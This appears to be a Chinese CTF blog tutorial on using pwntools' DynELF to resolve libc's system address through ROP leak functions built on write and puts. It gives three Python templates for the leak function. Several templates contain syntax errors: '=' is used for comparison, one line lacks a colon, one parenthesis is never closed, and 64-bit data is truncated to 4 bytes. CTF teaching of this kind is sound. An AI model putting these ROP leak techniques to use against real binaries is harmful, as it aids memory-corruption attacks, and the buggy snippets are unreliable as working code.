pwntools库DynELF函数使用小结

DynELF函数

0x00.前言

当我们在使用ROP做题目的时候,发现题目并没有给出libc.so文件(或者libc.so直接给错),这就让一部分人犯了难,这个问题怎么解决嘞?这里,我们介绍一种不需要给出libc.so实体文件,我们直接从库里匹配libc.so的方法——pwntools中的DynELF函数

0x01.使用条件

既然我们要使用这个函数,我们就必须知道这个函数使用起来要什么条件。
要使用DynELF函数,我们必须在程序中找到输出函数,也就是说我们要输出一些信息来支持函数运行。
这些信息一般是可以在libc.so文件中能够找到的函数在题目中的真实地址(有点绕,仔细读),这些函数最好是可输出的,这样我们就可以直接通过他本身把自己的真实地址输出出来(这里使用同一函数同时也符合延迟绑定),比如:write函数,puts函数,printf函数。这里我们重点介绍write函数和puts函数。

0x02.write函数输出地址

当题目程序中的输出函数是write函数时,我们就可以利用write函数把write函数的真实地址输出出来。
下面给出write函数的DynELF写法模板(64位):

def leak(address):
	payload='padding'+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(address)+p64(pop_rdx_ret)+p64(8)
	payload+=p64(write_plt)+p64(ret_address)
	p.send(payload)
	data=p.recv(8)
	return data
d=DynELF(leak,elf=ELF('./文件名'))
system_address=d.lookup('system','libc')

注意:
这里返回地址一定要填写正确,因为DynELF函数一定要多次触发才能其作用(类似于一个一个字节爆破)。
这里有一个例子不过是32位的,是攻防世界的pwn200,我以前的博客中写过这道题的writeup,配合起来读效果更佳(传送门)

0x03.puts函数输出地址

puts函数输出比write函数输出实在是难控制的多。
因为,write函数输出多少字节是我们自己可以控制的,而puts函数输出是输出到结束标志符为止,这就给我们的泄露造成了不小的麻烦。
所以,我们在使用puts函数输出真实地址的时候分为两种情况。

1.puts函数输出完地址后没有其他输出

当puts函数输出完后没有其他的输出,我们就可以使用以下模板写leak函数:

def leak(address):
	data=' '
	payload='padding'+p64(pop_rdi_ret)+p64(address)
 	payload+=p64(puts_plt)+p64(ret_address)
	p.send(payload)
	up=' '
	while True:
		c=p.recv(numb=1,timeout=0.2)
		if up=='\n' and c=' ':
			data=data[:-1]
			data+='\x00'
			break
		else:
			data+=c
		up=c
	data=data[:4]
	return data
d=DynELF(leak,elf=ELF('./文件名')
system_address=d.lookup('system','libc')

这里也有一道例题,是攻防世界的pwn100,我也在以前的博客中写过题解(传送门)。

2.puts函数输出完地址后还有其他输出

puts函数输出完后还有其他输出,我们就找到输出完之后那个输出的关键字符。

def leak(address):
	data=' '
	payload='padding'+p64(pop_rdi_ret)+p64(address)
 	payload+=p64(puts_plt)+p64(ret_address)
	p.send(payload)
	up=' '
	while True:
		c=p.recv(1)
		if up='\n' and c='x'  #这里的x就是那个关键字符
			data=data[:-1]
			data+='\x00'
			break
		else:
			data+=c
		up=c
	data=data[:4]
	return data
d=DynELF(leak,elf=ELF('./文件名')
system_address=d.lookup('system','libc')

os:这种情况还没有碰到过题目。以后碰到过就补上。

0x04.参考

https://www.anquanke.com/post/id/85129

0x05.留言

关于DynELF函数的小结就写这么多了,以后遇到再补充。(如果有误,请各位大佬指出,谢谢)

你可能感兴趣的:(pwntools库DynELF函数使用小结)